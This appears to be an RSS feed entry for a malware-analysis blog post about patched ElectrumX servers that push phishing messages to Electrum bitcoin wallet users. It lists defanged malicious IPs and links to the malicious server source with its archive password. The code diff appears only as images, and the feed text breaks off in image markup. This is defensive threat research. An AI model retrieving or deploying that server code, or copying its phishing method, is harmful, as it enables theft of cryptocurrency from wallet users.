<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:itunes="http://www.itunes.com/dtds/podcast-1.0.dtd" xmlns:googleplay="http://www.google.com/schemas/play-podcasts/1.0"><channel><title><![CDATA[PepperMalware]]></title><description><![CDATA[PepperMalware]]></description><link>https://www.peppermalware.com</link><image><url>https://substackcdn.com/image/fetch/$s_!MxYh!,w_256,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0b56eb54-870f-49fc-a392-02863885a563_212x212.png</url><title>PepperMalware</title><link>https://www.peppermalware.com</link></image><generator>Substack</generator><lastBuildDate>Wed, 20 May 2026 04:08:17 GMT</lastBuildDate><atom:link href="https://www.peppermalware.com/feed" rel="self" type="application/rss+xml"/><copyright><![CDATA[PepperMalware]]></copyright><language><![CDATA[en]]></language><webMaster><![CDATA[peppermalware@substack.com]]></webMaster><itunes:owner><itunes:email><![CDATA[peppermalware@substack.com]]></itunes:email><itunes:name><![CDATA[PepperMalware]]></itunes:name></itunes:owner><itunes:author><![CDATA[PepperMalware]]></itunes:author><googleplay:owner><![CDATA[peppermalware@substack.com]]></googleplay:owner><googleplay:email><![CDATA[peppermalware@substack.com]]></googleplay:email><googleplay:author><![CDATA[PepperMalware]]></googleplay:author><itunes:block><![CDATA[Yes]]></itunes:block><item><title><![CDATA[Analysis of Malicious ElectrumX Servers Source Code]]></title><description><![CDATA[Some months ago it was reported in reddit a post about malicious servers on the Electrum network performing phishing attacks against the users of the Electrum wallet (a bitcoin client).]]></description><link>https://www.peppermalware.com/p/analysis-of-malicious-electrumx-servers</link><guid isPermaLink="false">https://www.peppermalware.com/p/analysis-of-malicious-electrumx-servers</guid><dc:creator><![CDATA[PepperMalware]]></dc:creator><pubDate>Mon, 02 Dec 2019 13:53:00 GMT</pubDate><enclosure url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgjCqFSI0_tFD5iw09i8iAlaR7Qdfi26t7IJbYitnp4LcCa06pUFfvyv51d2-YD-vtpE32b2bPRDrl5fYJF36fq3lDskdDH_IBtiBbRN34VEOdeEKqyn3m_xyCr8JDxnqUAE8jWNJCCMTc/s640/server.giving.phising.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Some months ago it was reported in <a href="https://www.reddit.com/r/CryptoCurrency/comments/a9yji3/electrum_wallet_hacked_200_btc_stolen_so_far/">reddit</a>&nbsp;a post about malicious servers on the Electrum network performing phishing attacks against the users of the Electrum wallet (a bitcoin client). It was confirmed by Electrum in this <a href="https://github.com/spesmilo/electrum/issues/4968">github issue</a>. These fantastic posts in <a href="https://blog.coinbase.com/electrohunt-part-1-hunting-for-the-phishing-campaigns-on-the-electrum-network-b10529162e63">blog.coinbase.com</a>&nbsp;and <a href="https://blog.malwarebytes.com/cybercrime/2019/04/electrum-bitcoin-wallets-under-siege/">malwarebytes</a> explained really well how the phishing attack was performed.<br><br>Recently I have found some malicious ElectrumX nodes in the Electrum network that are still being connected by the Electrum software. In this post I share some information about these nodes and the ElectrumX patched code that they execute.<br><br><br><br><br><strong>Malicious ElectrumX Servers</strong><br><strong><br></strong> If we execute Electrum client, we can observe the list of servers that the client connects. For example, in this execution of the client in <a href="https://app.any.run/tasks/fb8e7f0f-72f9-4bee-85d1-70686581ceca/">app.any.run</a>&nbsp;we can see the list of connected servers. Among these servers, we can find some suspicious IPs:<br><br><br></p><a class="image-link image2" target="_blank" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgerXV-VDOiyEMM7NMoWXXKaqxqWy-acrzVQYC0YaBCJJ4LY0QAHDxO7HP4uWQjHOG2YHtMPCBwxCamWgWNQC57tFVrrYCjrAAcMUoFUchGEQEomF9VGQA7p8-pEw-x_Kpry701o8F_25g/s640/app.any.run.suspicious.server.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgerXV-VDOiyEMM7NMoWXXKaqxqWy-acrzVQYC0YaBCJJ4LY0QAHDxO7HP4uWQjHOG2YHtMPCBwxCamWgWNQC57tFVrrYCjrAAcMUoFUchGEQEomF9VGQA7p8-pEw-x_Kpry701o8F_25g/s640/app.any.run.suspicious.server.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgerXV-VDOiyEMM7NMoWXXKaqxqWy-acrzVQYC0YaBCJJ4LY0QAHDxO7HP4uWQjHOG2YHtMPCBwxCamWgWNQC57tFVrrYCjrAAcMUoFUchGEQEomF9VGQA7p8-pEw-x_Kpry701o8F_25g/s640/app.any.run.suspicious.server.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgerXV-VDOiyEMM7NMoWXXKaqxqWy-acrzVQYC0YaBCJJ4LY0QAHDxO7HP4uWQjHOG2YHtMPCBwxCamWgWNQC57tFVrrYCjrAAcMUoFUchGEQEomF9VGQA7p8-pEw-x_Kpry701o8F_25g/s640/app.any.run.suspicious.server.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgerXV-VDOiyEMM7NMoWXXKaqxqWy-acrzVQYC0YaBCJJ4LY0QAHDxO7HP4uWQjHOG2YHtMPCBwxCamWgWNQC57tFVrrYCjrAAcMUoFUchGEQEomF9VGQA7p8-pEw-x_Kpry701o8F_25g/s640/app.any.run.suspicious.server.png 1456w" sizes="100vw"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgerXV-VDOiyEMM7NMoWXXKaqxqWy-acrzVQYC0YaBCJJ4LY0QAHDxO7HP4uWQjHOG2YHtMPCBwxCamWgWNQC57tFVrrYCjrAAcMUoFUchGEQEomF9VGQA7p8-pEw-x_Kpry701o8F_25g/s640/app.any.run.suspicious.server.png" width="640" height="43" data-attrs="{&quot;src&quot;:&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgerXV-VDOiyEMM7NMoWXXKaqxqWy-acrzVQYC0YaBCJJ4LY0QAHDxO7HP4uWQjHOG2YHtMPCBwxCamWgWNQC57tFVrrYCjrAAcMUoFUchGEQEomF9VGQA7p8-pEw-x_Kpry701o8F_25g/s640/app.any.run.suspicious.server.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:43,&quot;width&quot;:640,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgerXV-VDOiyEMM7NMoWXXKaqxqWy-acrzVQYC0YaBCJJ4LY0QAHDxO7HP4uWQjHOG2YHtMPCBwxCamWgWNQC57tFVrrYCjrAAcMUoFUchGEQEomF9VGQA7p8-pEw-x_Kpry701o8F_25g/s640/app.any.run.suspicious.server.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgerXV-VDOiyEMM7NMoWXXKaqxqWy-acrzVQYC0YaBCJJ4LY0QAHDxO7HP4uWQjHOG2YHtMPCBwxCamWgWNQC57tFVrrYCjrAAcMUoFUchGEQEomF9VGQA7p8-pEw-x_Kpry701o8F_25g/s640/app.any.run.suspicious.server.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgerXV-VDOiyEMM7NMoWXXKaqxqWy-acrzVQYC0YaBCJJ4LY0QAHDxO7HP4uWQjHOG2YHtMPCBwxCamWgWNQC57tFVrrYCjrAAcMUoFUchGEQEomF9VGQA7p8-pEw-x_Kpry701o8F_25g/s640/app.any.run.suspicious.server.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgerXV-VDOiyEMM7NMoWXXKaqxqWy-acrzVQYC0YaBCJJ4LY0QAHDxO7HP4uWQjHOG2YHtMPCBwxCamWgWNQC57tFVrrYCjrAAcMUoFUchGEQEomF9VGQA7p8-pEw-x_Kpry701o8F_25g/s640/app.any.run.suspicious.server.png 1456w" sizes="100vw" fetchpriority="high"></picture><div></div></div></a><p><br><br>As you can see, AnyRun already had set the IP <strong>92.63.197.]245</strong> (<strong>electrumx.]ml</strong>) as suspicious. Other IPs from this range 92.63.197.0/24 were related to malicious activity. For example 92.63.197.]48 was associated to GrandCrab <a href="https://www.malware-traffic-analysis.net/2018/11/02/index.html">here</a>. And 92.63.197.]153 was related to a Phorphiex campaign <a href="https://www.zixcorp.com/resources/blog/april-2019/phorphiex-trik-botnet-campaign">here</a>.<br><br>Additionally, I found more ElectrumX nodes at <strong>92.63.192.]249</strong> and <strong>92.63.192.]250</strong>. Again, malicious activity is related to IPs of the same range, 92.63.192.]186 is a PredatorTheThief panel at the moment this post is being written. http://92.63.192.]139/pay contains phishing.<br><br><br><strong>Malicious ElectrumX Servers Patched Source Code</strong><br><strong><br></strong> We have been able to find the patched ElectrumX source code being executed by these servers. It is a tuned variant of the version 1.8.2 of ElectrumX server.<br><br>You can find the source code of the malicious server <a href="https://hybrid-analysis.com/sample/e875cf404663e956a066495e2c83d06a524f09421c50ad226b8ab314a600727b">here</a>&nbsp;(password: infected12345678).<br><br><br><strong>Original ElectrumX source code&nbsp; vs&nbsp; Patched source code</strong><br><br>You can find the original ElectrumX 1.8.2 at <a href="https://github.com/kyuupichan/electrumx/releases/tag/1.8.2">github</a>.<br><br>We have compared the <a href="https://hybrid-analysis.com/sample/e875cf404663e956a066495e2c83d06a524f09421c50ad226b8ab314a600727b">patched version</a> vs&nbsp;<a href="https://github.com/kyuupichan/electrumx/releases/tag/1.8.2">original version</a>. There are multiple differences, but, for example, one of the key differences is found at the source code /electrumx/server/session.py:<br><br><br><br></p><a class="image-link image2 is-viewable-img" target="_blank" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgjCqFSI0_tFD5iw09i8iAlaR7Qdfi26t7IJbYitnp4LcCa06pUFfvyv51d2-YD-vtpE32b2bPRDrl5fYJF36fq3lDskdDH_IBtiBbRN34VEOdeEKqyn3m_xyCr8JDxnqUAE8jWNJCCMTc/s640/server.giving.phising.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgjCqFSI0_tFD5iw09i8iAlaR7Qdfi26t7IJbYitnp4LcCa06pUFfvyv51d2-YD-vtpE32b2bPRDrl5fYJF36fq3lDskdDH_IBtiBbRN34VEOdeEKqyn3m_xyCr8JDxnqUAE8jWNJCCMTc/s640/server.giving.phising.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgjCqFSI0_tFD5iw09i8iAlaR7Qdfi26t7IJbYitnp4LcCa06pUFfvyv51d2-YD-vtpE32b2bPRDrl5fYJF36fq3lDskdDH_IBtiBbRN34VEOdeEKqyn3m_xyCr8JDxnqUAE8jWNJCCMTc/s640/server.giving.phising.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgjCqFSI0_tFD5iw09i8iAlaR7Qdfi26t7IJbYitnp4LcCa06pUFfvyv51d2-YD-vtpE32b2bPRDrl5fYJF36fq3lDskdDH_IBtiBbRN34VEOdeEKqyn3m_xyCr8JDxnqUAE8jWNJCCMTc/s640/server.giving.phising.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgjCqFSI0_tFD5iw09i8iAlaR7Qdfi26t7IJbYitnp4LcCa06pUFfvyv51d2-YD-vtpE32b2bPRDrl5fYJF36fq3lDskdDH_IBtiBbRN34VEOdeEKqyn3m_xyCr8JDxnqUAE8jWNJCCMTc/s640/server.giving.phising.png 1456w" sizes="100vw"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgjCqFSI0_tFD5iw09i8iAlaR7Qdfi26t7IJbYitnp4LcCa06pUFfvyv51d2-YD-vtpE32b2bPRDrl5fYJF36fq3lDskdDH_IBtiBbRN34VEOdeEKqyn3m_xyCr8JDxnqUAE8jWNJCCMTc/s640/server.giving.phising.png" width="640" height="390" data-attrs="{&quot;src&quot;:&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgjCqFSI0_tFD5iw09i8iAlaR7Qdfi26t7IJbYitnp4LcCa06pUFfvyv51d2-YD-vtpE32b2bPRDrl5fYJF36fq3lDskdDH_IBtiBbRN34VEOdeEKqyn3m_xyCr8JDxnqUAE8jWNJCCMTc/s640/server.giving.phising.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:390,&quot;width&quot;:640,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgjCqFSI0_tFD5iw09i8iAlaR7Qdfi26t7IJbYitnp4LcCa06pUFfvyv51d2-YD-vtpE32b2bPRDrl5fYJF36fq3lDskdDH_IBtiBbRN34VEOdeEKqyn3m_xyCr8JDxnqUAE8jWNJCCMTc/s640/server.giving.phising.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgjCqFSI0_tFD5iw09i8iAlaR7Qdfi26t7IJbYitnp4LcCa06pUFfvyv51d2-YD-vtpE32b2bPRDrl5fYJF36fq3lDskdDH_IBtiBbRN34VEOdeEKqyn3m_xyCr8JDxnqUAE8jWNJCCMTc/s640/server.giving.phising.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgjCqFSI0_tFD5iw09i8iAlaR7Qdfi26t7IJbYitnp4LcCa06pUFfvyv51d2-YD-vtpE32b2bPRDrl5fYJF36fq3lDskdDH_IBtiBbRN34VEOdeEKqyn3m_xyCr8JDxnqUAE8jWNJCCMTc/s640/server.giving.phising.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgjCqFSI0_tFD5iw09i8iAlaR7Qdfi26t7IJbYitnp4LcCa06pUFfvyv51d2-YD-vtpE32b2bPRDrl5fYJF36fq3lDskdDH_IBtiBbRN34VEOdeEKqyn3m_xyCr8JDxnqUAE8jWNJCCMTc/s640/server.giving.phising.png 1456w" sizes="100vw"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><p><br><br>At this point, depending on the Electrum client version, the patched ElectrumX server is giving a different phishing message. These phishing messages look like these:<br><br><br></p><a class="image-link image2 is-viewable-img" target="_blank" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgKiOtjTemrOSAWY2XVDbf1Lwzlu7DWi4UKalELVaZgbzGVjhURhL465iN6MV6PaYP6r1U3cKKStuFEAED_aONOvLQWl_zz3c1mpvAdnEdHhueR872XR9LZYo9ZoHg2Z3D94VkS5XXEqeo/s400/malicious_message3.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgKiOtjTemrOSAWY2XVDbf1Lwzlu7DWi4UKalELVaZgbzGVjhURhL465iN6MV6PaYP6r1U3cKKStuFEAED_aONOvLQWl_zz3c1mpvAdnEdHhueR872XR9LZYo9ZoHg2Z3D94VkS5XXEqeo/s400/malicious_message3.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgKiOtjTemrOSAWY2XVDbf1Lwzlu7DWi4UKalELVaZgbzGVjhURhL465iN6MV6PaYP6r1U3cKKStuFEAED_aONOvLQWl_zz3c1mpvAdnEdHhueR872XR9LZYo9ZoHg2Z3D94VkS5XXEqeo/s400/malicious_message3.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgKiOtjTemrOSAWY2XVDbf1Lwzlu7DWi4UKalELVaZgbzGVjhURhL465iN6MV6PaYP6r1U3cKKStuFEAED_aONOvLQWl_zz3c1mpvAdnEdHhueR872XR9LZYo9ZoHg2Z3D94VkS5XXEqeo/s400/malicious_message3.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgKiOtjTemrOSAWY2XVDbf1Lwzlu7DWi4UKalELVaZgbzGVjhURhL465iN6MV6PaYP6r1U3cKKStuFEAED_aONOvLQWl_zz3c1mpvAdnEdHhueR872XR9LZYo9ZoHg2Z3D94VkS5XXEqeo/s400/malicious_message3.png 1456w" sizes="100vw"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgKiOtjTemrOSAWY2XVDbf1Lwzlu7DWi4UKalELVaZgbzGVjhURhL465iN6MV6PaYP6r1U3cKKStuFEAED_aONOvLQWl_zz3c1mpvAdnEdHhueR872XR9LZYo9ZoHg2Z3D94VkS5XXEqeo/s400/malicious_message3.png" width="332" height="400" data-attrs="{&quot;src&quot;:&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgKiOtjTemrOSAWY2XVDbf1Lwzlu7DWi4UKalELVaZgbzGVjhURhL465iN6MV6PaYP6r1U3cKKStuFEAED_aONOvLQWl_zz3c1mpvAdnEdHhueR872XR9LZYo9ZoHg2Z3D94VkS5XXEqeo/s400/malicious_message3.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:400,&quot;width&quot;:332,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgKiOtjTemrOSAWY2XVDbf1Lwzlu7DWi4UKalELVaZgbzGVjhURhL465iN6MV6PaYP6r1U3cKKStuFEAED_aONOvLQWl_zz3c1mpvAdnEdHhueR872XR9LZYo9ZoHg2Z3D94VkS5XXEqeo/s400/malicious_message3.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgKiOtjTemrOSAWY2XVDbf1Lwzlu7DWi4UKalELVaZgbzGVjhURhL465iN6MV6PaYP6r1U3cKKStuFEAED_aONOvLQWl_zz3c1mpvAdnEdHhueR872XR9LZYo9ZoHg2Z3D94VkS5XXEqeo/s400/malicious_message3.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgKiOtjTemrOSAWY2XVDbf1Lwzlu7DWi4UKalELVaZgbzGVjhURhL465iN6MV6PaYP6r1U3cKKStuFEAED_aONOvLQWl_zz3c1mpvAdnEdHhueR872XR9LZYo9ZoHg2Z3D94VkS5XXEqeo/s400/malicious_message3.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgKiOtjTemrOSAWY2XVDbf1Lwzlu7DWi4UKalELVaZgbzGVjhURhL465iN6MV6PaYP6r1U3cKKStuFEAED_aONOvLQWl_zz3c1mpvAdnEdHhueR872XR9LZYo9ZoHg2Z3D94VkS5XXEqeo/s400/malicious_message3.png 1456w" sizes="100vw"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><a class="image-link image2 is-viewable-img" target="_blank" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhxMAqtJcJwWbN7lNTCaIkTcMoiuNaf3z6zT0uOaJyahN1rl4FgQpCSINHWjxrhB1i3EJOb2QgqsGG0WsC-WvTNSn7wtpmUAt1ADIlfSa6EonWwpTPJtNcc8cQcAXxQSer7qWBl7cNDpPY/s400/malicious_message1.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhxMAqtJcJwWbN7lNTCaIkTcMoiuNaf3z6zT0uOaJyahN1rl4FgQpCSINHWjxrhB1i3EJOb2QgqsGG0WsC-WvTNSn7wtpmUAt1ADIlfSa6EonWwpTPJtNcc8cQcAXxQSer7qWBl7cNDpPY/s400/malicious_message1.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhxMAqtJcJwWbN7lNTCaIkTcMoiuNaf3z6zT0uOaJyahN1rl4FgQpCSINHWjxrhB1i3EJOb2QgqsGG0WsC-WvTNSn7wtpmUAt1ADIlfSa6EonWwpTPJtNcc8cQcAXxQSer7qWBl7cNDpPY/s400/malicious_message1.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhxMAqtJcJwWbN7lNTCaIkTcMoiuNaf3z6zT0uOaJyahN1rl4FgQpCSINHWjxrhB1i3EJOb2QgqsGG0WsC-WvTNSn7wtpmUAt1ADIlfSa6EonWwpTPJtNcc8cQcAXxQSer7qWBl7cNDpPY/s400/malicious_message1.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhxMAqtJcJwWbN7lNTCaIkTcMoiuNaf3z6zT0uOaJyahN1rl4FgQpCSINHWjxrhB1i3EJOb2QgqsGG0WsC-WvTNSn7wtpmUAt1ADIlfSa6EonWwpTPJtNcc8cQcAXxQSer7qWBl7cNDpPY/s400/malicious_message1.png 1456w" sizes="100vw"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhxMAqtJcJwWbN7lNTCaIkTcMoiuNaf3z6zT0uOaJyahN1rl4FgQpCSINHWjxrhB1i3EJOb2QgqsGG0WsC-WvTNSn7wtpmUAt1ADIlfSa6EonWwpTPJtNcc8cQcAXxQSer7qWBl7cNDpPY/s400/malicious_message1.png" width="400" height="266" data-attrs="{&quot;src&quot;:&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhxMAqtJcJwWbN7lNTCaIkTcMoiuNaf3z6zT0uOaJyahN1rl4FgQpCSINHWjxrhB1i3EJOb2QgqsGG0WsC-WvTNSn7wtpmUAt1ADIlfSa6EonWwpTPJtNcc8cQcAXxQSer7qWBl7cNDpPY/s400/malicious_message1.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:266,&quot;width&quot;:400,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhxMAqtJcJwWbN7lNTCaIkTcMoiuNaf3z6zT0uOaJyahN1rl4FgQpCSINHWjxrhB1i3EJOb2QgqsGG0WsC-WvTNSn7wtpmUAt1ADIlfSa6EonWwpTPJtNcc8cQcAXxQSer7qWBl7cNDpPY/s400/malicious_message1.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhxMAqtJcJwWbN7lNTCaIkTcMoiuNaf3z6zT0uOaJyahN1rl4FgQpCSINHWjxrhB1i3EJOb2QgqsGG0WsC-WvTNSn7wtpmUAt1ADIlfSa6EonWwpTPJtNcc8cQcAXxQSer7qWBl7cNDpPY/s400/malicious_message1.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhxMAqtJcJwWbN7lNTCaIkTcMoiuNaf3z6zT0uOaJyahN1rl4FgQpCSINHWjxrhB1i3EJOb2QgqsGG0WsC-WvTNSn7wtpmUAt1ADIlfSa6EonWwpTPJtNcc8cQcAXxQSer7qWBl7cNDpPY/s400/malicious_message1.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhxMAqtJcJwWbN7lNTCaIkTcMoiuNaf3z6zT0uOaJyahN1rl4FgQpCSINHWjxrhB1i3EJOb2QgqsGG0WsC-WvTNSn7wtpmUAt1ADIlfSa6EonWwpTPJtNcc8cQcAXxQSer7qWBl7cNDpPY/s400/malicious_message1.png 1456w" sizes="100vw"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><a class="image-link image2 is-viewable-img" target="_blank" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEim_omvv5RbcJDFXykiE0Re_FGtjG1oe6XJBSrs9DdEnIOLAB_nD4FIsMm73wmzCWuIVbBC5x7rSZhDZmERK3MJXsdeHDNov1i-vOQPOUWdFVZacE4bCWrTQCKDBdU-OlZ8tFL1deaYfHg/s400/malicious_message2.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEim_omvv5RbcJDFXykiE0Re_FGtjG1oe6XJBSrs9DdEnIOLAB_nD4FIsMm73wmzCWuIVbBC5x7rSZhDZmERK3MJXsdeHDNov1i-vOQPOUWdFVZacE4bCWrTQCKDBdU-OlZ8tFL1deaYfHg/s400/malicious_message2.png 424w, 